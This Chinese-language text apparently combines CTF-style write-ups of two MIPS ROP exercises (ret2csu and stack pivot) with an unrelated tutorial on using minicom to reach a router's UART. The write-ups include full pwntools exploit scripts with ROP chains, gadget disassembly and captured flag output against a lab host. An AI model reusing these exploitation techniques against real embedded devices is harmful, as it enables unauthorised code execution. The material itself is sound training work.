这段代码可以从栈上恢复s0~s5、ra,并跳转到ra去执行

1
2
3
4
5
6
7
8
9
10
.text:004009C0 loc_4009C0:                              # CODE XREF: __libc_csu_init+58↑j
.text:004009C0 lw $ra, 0x1C+var_s18($sp)
.text:004009C4 lw $s5, 0x1C+var_s14($sp)
.text:004009C8 lw $s4, 0x1C+var_s10($sp)
.text:004009CC lw $s3, 0x1C+var_sC($sp)
.text:004009D0 lw $s2, 0x1C+var_s8($sp)
.text:004009D4 lw $s1, 0x1C+var_s4($sp)
.text:004009D8 lw $s0, 0x1C+var_s0($sp)
.text:004009DC jr $ra
.text:004009E0 addiu $sp, 0x38

这段代码可以从s系列寄存器恢复到a0、a1、a2、t9,达到调用三参数函数的作用。

1
2
3
4
5
6
7
.text:004009A0 loc_4009A0:                              # CODE XREF: __libc_csu_init+78↓j
.text:004009A0 lw $t9, 0($s0)
.text:004009A4 addiu $s1, 1
.text:004009A8 move $a2, $s5
.text:004009AC move $a1, $s4
.text:004009B0 jalr $t9
.text:004009B4 move $a0, $s3

接下来还是查看一下pwnme函数:缓冲区起始地址在sp+0x18,返回地址保存在sp+0x3c,可以控制的输入大小是0x200。
利用过程:
还是先溢出覆盖到返回地址,控制到从栈上恢复寄存器:

1
2
rop = b"A" * 0x24
rop += p32(load_regs)

然后从寄存器恢复函数参数,并从GOT表调用ret2win函数:

1
2
3
4
5
6
7
8
rop += b"B" * 0x1C
rop += p32(ret2win_got) # ret2win,s0
rop += b"B" * 4 # s1无用
rop += b"B" * 4 # s2无用
rop += p32(0xDEADBEEF) # s3->a0
rop += p32(0xCAFEBABE) # s4->a1
rop += p32(0xD00DF00D) # s5->a2
rop += p32(call_ret2win)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
BINARY = "./ret2csu_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

load_regs = 0x004009C0

ret2win_got = 0x00411058
call_ret2win = 0x004009A0

p = remote("10.0.0.2", 9999)

rop = b"A" * 0x24
rop += p32(load_regs)

rop += b"B" * 0x1C
rop += p32(ret2win_got) # ret2win,s0
rop += b"B" * 4 # s1无用
rop += b"B" * 4 # s2无用
rop += p32(0xDEADBEEF) # s3->a0
rop += p32(0xCAFEBABE) # s4->a1
rop += p32(0xD00DF00D) # s5->a2
rop += p32(call_ret2win)

p.recvuntil(b"> ")
p.sendline(rop)

print(p.recvline_contains(b"ROPE"))

效果如下:

1
2
3
4
5
6
7
8
9
10
11
$ python3 ret2csu.py
[*] '/home/utest/rop_practice/mipsel/ret2csu_mipsel/ret2csu_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999

如下是存在溢出的pwnme函数,反汇编可以看到返回地址保存在sp+0x3c,缓冲区起始地址在sp+0x18。第一个read函数是写入到a1指针,是一个堆内存;第二个read是真正的控制溢出,但是只能写入0x28个字节,也就是说,最多只能控制到sp+0x40,也就是覆盖到返回地址再多4个字节。空间不够用,无法直接在栈上布置ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall pwnme(void *a1)
{
char v2[32]; // [sp+18h] [+18h] BYREF

memset(v2, 0, sizeof(v2));
puts("Call ret2win() from libpivot");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);// 这个地方用来布置新栈
puts("Send a ROP chain now and it will land there");
printf("> ");
read(0, a1, 0x100u); // 这是在堆上的内存
puts("Thank you!\n");
puts("Now please send your stack smash");
printf("> ");
read(0, v2, 0x28u); // 只有0x28个大小的缓冲区
return puts("Thank you!");
}

在libpivot_mipsel.so中有ret2win函数,但是在pivot_mipsel中无法直接调用,因此就没有办法使用ret2win的手法。

此时再看这个题目内置的gadgets:

  • 00400CA0:可控制t0寄存器的值
  • 00400CB0:可控制t1和t2两个寄存器的值,然后将t2中的值指向的内存值赋值给t1
  • 00400CC4:t0+t1->t9,然后跳转到t9执行
  • 00400CD0:将fp寄存器中的值赋值给sp寄存器,开辟栈帧
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    .text:00400CA0 usefulGadgets:                           
    .text:00400CA0 lw $t9, 8($sp). # load_offset
    .text:00400CA4 lw $t0, 4($sp)
    .text:00400CA8 jalr $t9
    .text:00400CAC addiu $sp, 0xC
    .text:00400CAC
    .text:00400CB0 lw $t9, 8($sp) # read_got
    .text:00400CB4 lw $t2, 4($sp)
    .text:00400CB8 lw $t1, 0($t2)
    .text:00400CBC jalr $t9
    .text:00400CC0 addiu $sp, 0xC
    .text:00400CC0
    .text:00400CC4 add $t9, $t0, $t1. # add_jump
    .text:00400CC8 jalr $t9
    .text:00400CCC addiu $sp, 4
    .text:00400CCC
    .text:00400CD0 move $sp, $fp # stack_pivot
    .text:00400CD4 lw $ra, 8($sp)
    .text:00400CD8 lw $fp, 4($sp)
    .text:00400CDC jr $ra
    .text:00400CE0 addiu $sp, 0xC

再看看pwnme函数在执行完毕恢复栈帧时的反汇编代码:缓冲区溢出实际上可以控制ra寄存器(sp+0x3c)和fp寄存器(sp+0x38)。

1
2
3
4
5
6
.text:00400C44                 move    $sp, $fp         
.text:00400C48 lw $ra, 0x38+var_s4($sp)
.text:00400C4C lw $fp, 0x38+var_s0($sp)
.text:00400C50 addiu $sp, 0x40
.text:00400C54 jr $ra
.text:00400C58 nop

回顾一下:对动态加载函数的调用会跳转到PLT,函数的第一次调用会使用库函数的实际地址填充到GOT表中。后续调用函数的时候就会直接跳转到GOT表中的库函数实际地址运行。如果知道某一个库函数的实际加载地址,并且知道加载函数和要调用的目标函数的偏移量,就可以计算出来目标函数的实际地址。

那么利用的思路就清晰起来了:

  1. 在pwnme函数中使用缓冲区溢出控制fp寄存器(开辟新栈)和ra寄存器(劫持控制流)
  2. 调用stack_pivot开辟新的栈帧到堆内存空间,堆内存空间地址可以通过打印信息获取
  3. 通过plt调用一次foothold_function,这样got表就被填充了
  4. 读取got表中的值,通过foothold_function和ret2win函数的偏移,计算并跳转到ret2win执行

利用

在pwnme函数缓冲区溢出,劫持控制流到stack_pivot。此时还可以顺便控制了fp寄存器,用于stack_pivot开辟栈帧到堆内存空间中。

1
2
3
rop = b"A" * 0x20   # 
rop += pivot_addr # 控制fp寄存器
rop += stack_pivot # 控制ra寄存器

到了堆内存空间,此时新的栈就已经布局完成。load_offset一共要使用两次,原本的作用是从栈中恢复ret2win函数与foothold函数的偏移到t0寄存器。第一次调用就纯粹是起到通过plt首次调用foothold函数,使得其地址可以加载到got表中。

1
2
rop1 = b"A" * 8 
rop1 += p32(load_offset) # 下一个ra

通过plt调用foothold函数。

1
2
3
rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(foothold_plt)

当从plt执行完foothold返回后,会自动跳转到0x00400CB0,读取got表中保存的foothold函数地址到t1寄存器。下一个rop就是再次执行load_offset函数,因为第一次执行load_offset加载到t0的偏移,因为t0在其他地方被使用过,清零了。

1
2
3
rop1 += b"A" * 4
rop1 += p32(foothold_got)
rop1 += p32(load_offset)

通过add_jump,ret2win函数地址 = foothold函数地址 + 二者的偏移。

1
2
3
rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(add_jump)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
BINARY = "./pivot_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

stack_pivot = 0x00400CD0
load_offset = 0x00400CA0
read_got = 0x00400CB0
add_jump = 0x00400CC4

foothold_plt = 0x400e60
foothold_got = 0x412060

ret2win_offset = 0x378

p = remote("10.0.0.2", 9999)
pivot_addr = p.recvuntil(b"\nSend a ROP chain now and it will land there").split(b"pivot: ")[-1].split(b"\nSend")[0]
# log.info(pivot_addr)
pivot_addr = int(pivot_addr, 16)

rop1 = b"A" * 8
rop1 += p32(load_offset) # 下一个ra

rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(foothold_plt)

rop1 += b"A" * 4
rop1 += p32(foothold_got)
rop1 += p32(load_offset)

rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(add_jump)

p.recvuntil(b"> ")
p.sendline(rop1)

rop2 = b"A" * 0x20
rop2 += p32(pivot_addr)
rop2 += p32(stack_pivot)
p.recvuntil(b"> ")
p.sendline(rop2)

print(p.recvline_contains(b"ROPE"))

执行结果如下:

1
2
3
4
5
6
7
8
9
10
[*] '/home/utest/rop_practice/mipsel/pivot_mipsel/pivot_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999

这篇文章本质是上说明一下minicom的使用,和树莓派设备倒是没有太大的关系,Linux平台、WSL、Mac都是通用的。

minicom

minicom是Linux下的一个常用的命令行串口调试工具,可以串口和硬件设备进行通信,通常用于嵌入式设备中。安装minicom非常简单:

1
sudo apt-get install minicom

选项说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-b, --baudrate         : 设置波特率,忽略配置文件
-D, --device : 指定串口设备,Linux下的设备/dev/ttyUSB这样,忽略配置文件
-s, --setup : 进入设置模式
-o, --noinit : 启动时不初始化modem和lockfiles
-m, --metakey : use meta or alt key for commands
-M, --metakey8 : use 8bit meta key for commands
-l, --ansi : literal; assume screen uses non IBM-PC character set
-L, --iso : don't assume screen uses ISO8859
-w, --wrap : Linewrap on
-H, --displayhex : display output in hex
-z, --statline : 尝试使用终端的状态栏
-7, --7bit : 强制使用7位模式
-8, --8bit : 强制使用8位模式
-c, --color=on/off : 开启或者关闭ANSI风格颜色用法
-a, --attrib=on/off : 开启或者关闭高亮属性
-t, --term=TERM : 覆盖TERM环境变量
-S, --script=SCRIPT : 启动时运行脚本
-d, --dial=ENTRY : dial ENTRY from the dialing directory
-p, --ptty=TTYP : 连接到伪终端
-C, --capturefile=FILE : 捕获终端输出并保存到文件中
--capturefile-buffer-mode=MODE : set buffering mode of capture file
-F, --statlinefmt : format of status line
-R, --remotecharset : character set of communication partner
-v, --version : 版本信息
-h, --help : 帮助文档
configuration : 指定minicom配置文件启动

启动minicom有两种方式,一种是先对当前文件设置一个配置文件,配置文件包括波特率、校验位等等信息,后续通过该配置文件启动;另一种是直接在终端命令配置启动。

我买的ch341a编程器支持TTL和编程器两种模式,只需要将跳帽连接到对应模式引脚即可。连接线我买的是钻石头(形状)探针,前端是4个弹簧收缩的探针,这样在测试引脚的时候就不用先焊接到板子的UART端口上。
undifined

实验使用的K2P板子上的UART口也非常明显,还贴心标明了端口,那么连接的时候使用跳线将板子上的TX和编程器的RXD连接、板子上的RX和编程器的TXD连接,设置好minicom就可以进行通信了
undifined
工作时的探针+K2P+树莓派如下:
undifined

当编程器连接到树莓派时,出现设备/dev/ttyUSB0,后续在minicom中设置
undifined

1. 从配置文件启动

minicom的配置文件保存在/etc/minicom/目录下,因此如果要保存当前的设置到配置文件或者默认配置,必须以root权限运行minicom。
进入minicom,然后在Serial port setup中进行配置:

1
sudo minicom -s

undifined
设置波特率=57600,8N1。要修改某个选项就按下对应的按键即可,例如修改串口设备,按下A,则可以修改。
undifined
保存完毕后,ESC退出,Save setup as ..。例如我保存为K2P的配置文件。
undifined
再退出,就可以按照当前的配置进行通信了。熟悉折腾的可以看出,这个K2P已经被我刷了Breed(不死鸟,一个bootloader)了。
undifined

下次启动,则可以直接指定当前设备的配置文件:

1
sudo minicom K2P

2. 命令行配置启动

没有什么好说的,就是在命令行参数进行了相关的配置,例如下:

1
sudo minicom -b 57600 -D /dev/ttyUSB0 -8

undifined

小结

先简单说了一下minicom的相关配置,然后以K2P为例,使用探针和编程器连接到K2P的UART,配置好minicom的参数后,上电即可看到UART的相关输出。

个人更加偏好将minicom的配置保存为一个设备配置文件,而后从中启动,这样比较方便。